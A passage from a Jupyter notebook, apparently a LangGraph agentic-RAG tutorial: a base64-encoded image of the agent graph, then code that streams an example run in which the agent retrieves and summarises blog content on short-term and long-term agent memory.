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", + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "from IPython.display import Image, display\n", + "\n", + "try:\n", + " display(Image(graph.get_graph(xray=True).draw_mermaid_png()))\n", + "except Exception:\n", + " # This requires some extra dependencies and is optional\n", + " pass" + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "id": "7649f05a-cb67-490d-b24a-74d41895139a", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "---CALL AGENT---\n", + "\"Output from node 'agent':\"\n", + "'---'\n", + "{ 'messages': [ AIMessage(content='', additional_kwargs={'tool_calls': [{'index': 0, 'id': 'call_z36oPZN8l1UC6raxrebqc1bH', 'function': {'arguments': '{\"query\":\"types of agent memory\"}', 'name': 'retrieve_blog_posts'}, 'type': 'function'}]}, response_metadata={'finish_reason': 'tool_calls'}, id='run-2bad2518-8187-4d8f-8e23-2b9501becb6f-0', tool_calls=[{'name': 'retrieve_blog_posts', 'args': {'query': 'types of agent memory'}, 'id': 'call_z36oPZN8l1UC6raxrebqc1bH'}])]}\n", + "'\\n---\\n'\n", + "---CHECK RELEVANCE---\n", + "---DECISION: DOCS RELEVANT---\n", + "\"Output from node 'retrieve':\"\n", + "'---'\n", + "{ 'messages': [ ToolMessage(content='Table of Contents\\n\\n\\n\\nAgent System Overview\\n\\nComponent One: Planning\\n\\nTask Decomposition\\n\\nSelf-Reflection\\n\\n\\nComponent Two: Memory\\n\\nTypes of Memory\\n\\nMaximum Inner Product Search (MIPS)\\n\\n\\nComponent Three: Tool Use\\n\\nCase Studies\\n\\nScientific Discovery Agent\\n\\nGenerative Agents Simulation\\n\\nProof-of-Concept Examples\\n\\n\\nChallenges\\n\\nCitation\\n\\nReferences\\n\\nPlanning\\n\\nSubgoal and decomposition: The agent breaks down large tasks into smaller, manageable subgoals, enabling efficient handling of complex tasks.\\nReflection and refinement: The agent can do self-criticism and self-reflection over past actions, learn from mistakes and refine them for future steps, thereby improving the quality of final results.\\n\\n\\nMemory\\n\\nMemory\\n\\nShort-term memory: I would consider all the in-context learning (See Prompt Engineering) as utilizing short-term memory of the model to learn.\\nLong-term memory: This provides the agent with the capability to retain and recall (infinite) information over extended periods, often by leveraging an external vector store and fast retrieval.\\n\\n\\nTool use\\n\\nThe design of generative agents combines LLM with memory, planning and reflection mechanisms to enable agents to behave conditioned on past experience, as well as to interact with other agents.', name='retrieve_blog_posts', id='d815f283-868c-4660-a1c6-5f6e5373ca06', tool_call_id='call_z36oPZN8l1UC6raxrebqc1bH')]}\n", + "'\\n---\\n'\n", + "---GENERATE---\n", + "\"Output from node 'generate':\"\n", + "'---'\n", + "{ 'messages': [ 'Lilian Weng discusses short-term and long-term memory in '\n", + " 'agent systems. Short-term memory is used for in-context '\n", + " 'learning, while long-term memory allows agents to retain and '\n", + " 'recall information over extended periods.']}\n", + "'\\n---\\n'\n" + ] + } + ], + "source": [ + "import pprint\n", + "\n", + "inputs = {\n", + " \"messages\": [\n", + " (\"user\", \"What does Lilian Weng say about the types of agent memory?\"),\n", + " ]\n", + "}\n", + "for output in 